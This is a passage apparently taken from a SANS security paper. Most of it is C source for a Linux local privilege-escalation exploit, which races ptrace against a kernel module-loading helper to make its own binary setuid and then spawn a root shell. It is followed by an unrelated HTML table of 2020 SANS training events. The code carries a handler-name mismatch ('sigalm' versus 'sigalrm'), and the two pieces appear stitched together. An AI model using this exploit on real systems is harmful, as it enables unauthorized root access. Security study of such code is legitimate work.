    exit(0);
}

void sigalrm(int signo)
{
    errno = ECANCELED;
    fatal("[-] Fatal error");
}
```
void do_child(void)
{
    int err;

    child = getpid();
    victim = child + 1;

    signal(SIGCHLD, sigchild);

    do
        err = ptrace(PTRACE_ATTACH, victim, 0, 0);
    while (err == -1 && errno == ESRCH);

    if (err == -1)
        fatal("[-] Unable to attach");

    fprintf(stderr, "[+] Attached to %d\n", victim);
    while (!gotchild);

    if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
        fatal("[-] Unable to setup syscall trace");

    fprintf(stderr, "[+] Waiting for signal\n");

    for(;;);
}

void do_parent(char * progname)
{
    struct stat st;
    int err;
    errno = 0;
    socket(AF_SECURITY, SOCK_STREAM, 1);
    do {
        err = stat(progname, &st);
    } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);

    if (err == -1)
        fatal("[-] Unable to stat myself");

    alarm(0);
    system(progname);
}

void prepare(void)
{
    if (geteuid() == 0) {
        initgroups("root", 0);
        setgid(0);
        setuid(0);
        execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
        fatal("[-] Unable to spawn shell");
    }
}

int main(int argc, char ** argv)
{

prepare();
signal(SIGALRM, sigalm);
alarm(10);

parent = getpid();
child = fork();
victim = child + 1;

if (child == -1)
    fatal("[-] Unable to fork");

if (child == 0)
    do_child();
else
    do_parent(argv[0]);

return 0;
}
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# Upcoming SANS Penetration Testing

<table>
<thead>
<tr>
<th>Event</th>
<th>Location</th>
<th>Dates</th>
<th>Host</th>
</tr>
</thead>
<tbody>
<tr>
<td>Pen Test HackFest &amp; Cyber Ranges Summit</td>
<td>Virtual - US Mountain,</td>
<td>Jun 04, 2020 - Jun 13, 2020</td>
<td>CyberCon</td>
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<td>SANS Pacific Live Online 2020</td>
<td>Singapore</td>
<td>Jun 08, 2020 - Jun 19, 2020</td>
<td>CyberCon</td>
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<td>SANSFIRE 2020</td>
<td>DC</td>
<td>Jun 13, 2020 - Jun 20, 2020</td>
<td>CyberCon</td>
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<tr>
<td>SEC504 @ JPL NASA</td>
<td>CA</td>
<td>Jun 22, 2020 - Jun 29, 2020</td>
<td>CyberCon</td>
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<tr>
<td>Cyber Defence Australia Online 2020</td>
<td>Australia</td>
<td>Jun 22, 2020 - Jul 04, 2020</td>
<td>CyberCon</td>
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<td>Instructor-Led Training</td>
<td>Jun 22</td>
<td>PA</td>
<td>Jun 22, 2020 - Jun 27, 2020</td>
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<tr>
<td>SANS Japan Live Online July 2020</td>
<td>Japan</td>
<td>Jun 29, 2020 - Jul 11, 2020</td>
<td>CyberCon</td>
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<td>SANS SEC504 (In Spanish) Online 2020</td>
<td>United Arab Emirates</td>
<td>Jun 29, 2020 - Jul 10, 2020</td>
<td>vLive</td>
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<td>Jul 1</td>
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<td>Jul 01, 2020 - Jul 02, 2020</td>
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<td>Jul 06, 2020 - Jul 11, 2020</td>
<td>CyberCon</td>
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<td>Live Online - SEC660: Advanced Penetration Testing, Exploit Writing, and Ethical Hacking</td>
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<td>Jul 6</td>
<td>VA</td>
<td>Jul 06, 2020 - Jul 18, 2020</td>
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<td>CyberCon</td>
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<td>Aug 03, 2020 - Aug 08, 2020</td>
<td>CyberCon</td>
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<td>Amsterdam, Netherlands</td>
<td>Aug 03, 2020 - Aug 08, 2020</td>
<td>Live Event</td>
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<td>Aug 3 ET</td>
<td>MA</td>
<td>Aug 03, 2020 - Aug 08, 2020</td>
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<td>United Arab Emirates</td>
<td>Aug 03, 2020 - Aug 08, 2020</td>
<td>CyberCon</td>
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<td>CA</td>
<td>Aug 03, 2020 - Aug 08, 2020</td>
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<td>Aug 04, 2020 - Sep 10, 2020</td>
<td>vLive</td>
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<td>VA</td>
<td>Aug 10, 2020 - Aug 15, 2020</td>
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